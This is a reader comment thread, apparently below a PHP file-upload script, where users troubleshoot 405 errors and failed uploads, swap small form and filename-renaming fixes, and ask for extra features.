it doesnt work for me:

405 Method Not Allowed
This type request is not allowed!
September 2, 2008
that's because you can limit specific file types
October 8, 2008
I got the dreaded 405 error and wondered what was up... then I noticed that no action is defined in the example HTML. So I changed it to the following and the 405 was gone:

<form action="file-upload.php" method="post" enctype="multipart/form-data">
designer.steiner [anti-spam] yahoo.com October 30, 2008
How do I get this uploader to send the files to "my" email account?
dipus November 20, 2008
doesn't work.. can you help? it makes nothing. no error, no upload..
Nico November 25, 2008
Yeah... It doesn't work!
LM4041 December 1, 2008
The original HTML file does not work (No reference to the PHP uploader file.

Correct as follows:
Original
<form method="post" enctype="multipart/form-data">

Updated
<form enctype="multipart/form-data" action="file-upload.php" method="POST">
December 11, 2008
It didn't work for me at first. After messing with it I figured out that the user has to load the php file first. Not the HTML.
kyle March 27, 2009
I get this error when trying to use the script, i've changed the folder permissions, but now im stuck, any ideas??
kyle March 27, 2009
The server encountered an unexpected condition which prevented it from fulfilling the request.
The script had an error or it did not produce any output. If there was an error, you should be able to see it in the error log.
JP April 2, 2009
Very nice script. Works like a charm :)

I have one questions, is it possible to add a function that resizes the image to a predefined width and/or height, but respecting aspect ratio?

I'm a php n00b and _tried_ to solve this but nothing works. Did any of you get that to work?
david [anti-spam] aquafields.com April 12, 2009
It Goes! Thanks!
I've tried for many hours to replicate PHPForms that worked on many of my sites but never on the one it was needed most! This worked instantly.

PrimiCaps April 21, 2009
hello. this script is very useful. :) although, I wanna know if can we call for the uploaded file's name after it was uploaded??
April 23, 2009
You request the php file not the html file. Look at the script again. the script calls the html fille

nitin December 12, 2009
i am getting the message could not upload file (6) what could be the reason for this
Cobalt-Phoenix December 21, 2009
Hey, great script! I did notice that the files renamed themselves to random characters. If anyone is interested, to fix this, simply take out the line where it says

if (RENAME_FILE) {
$dest_filename = md5(uniqid(rand(), true)) . '.' . $file_ext;
}

However, keep this intact.

$dest_filename = $filename;

This will keep the original filename without the random rename.
I don't know about anyone else, but I tend to be picky about filenames. :p

Thank you for providing this script! It's very useful!
RiffThirteen January 13, 2010
Worked perfectly. But what do I need to change if I want to submit information about the image into the database?
nancy January 30, 2010

Hi,

Looks like a great script. However, I am having problems making it work. [New to php] :(

From the following page I upload a .doc or a .docx file:
http://nanjing2011.org/proposal-submission/file-upload.html

and I get the same page back except the address in the location bar is now:
http://nanjing2011.org/proposal-submission/file-upload.php

and the file isn't uploaded.

Can you please help by letting me know what I am doing wrong.

Thank you.

aaron February 21, 2011
Quietone...

You have to load the .php not the .html. The .php file loads the .html within. opening just the .html does nothing because none of the php code is present. hope this helps

I'm no newcomer to Zubrag's scripts and I know I've done everything right and it "seems" to run through the script and then redirect me to the success page I made (after a reasonable amount of time depending on how big the file was) BUT... no file is showing in the destination folder.

Any ideas?

For those who want to implement in a page NOT calles 'upload-form.html' you should loor for an include around line 78, and change it to whatever page you are calling 'upload-form.PHP' from.

I created a variable and placed it in the configuration block so it'd be easier to implement in the future, if someone is interested just let me know!

Your script doesn't work and your instructions are lousy. Keep getting 'file not found' no matter what I do. Usual drive-by lack of geek's instructions from the open source world - "we're helping you - by taking an hour of your time pointlessly..."

I use the upload script which works great. But I want to send the filename to another php page through a variable. I don't know the filename variable to pass?
440Music August 23, 2013
I wanted to keep the file name and tried what Cobalt-Phoenx suggested and files would not upload.

// destination filename, rename if set to
$dest_filename = $filename;
if (RENAME_FILE) {
$dest_filename = md5(uniqid(rand(), true)) . '.' . $file_ext;
}
Where did I go wrong?

440Music August 23, 2013
I figured where I went wrong.
// destination filename, rename if set to
$dest_filename = $filename;
Remove the following
// if (RENAME_FILE) {
$dest_filename = md5(uniqid(rand(), true)) . '.' . $file_ext;
}
//

I left the } in so it failed.

If anybody is clueless how to setup: Copy both the files into one directory and call the php-file by a submit button.

File handling in PHP is pretty easy. However, you must be careful of the small details that must be correctly configured before uploading the file, or else you will end up with a set of mysterious errors.

I found this PHP File upload script here easy to use: https://www.cloudways.com/blog/the-basics-of-file-upload-in-php/
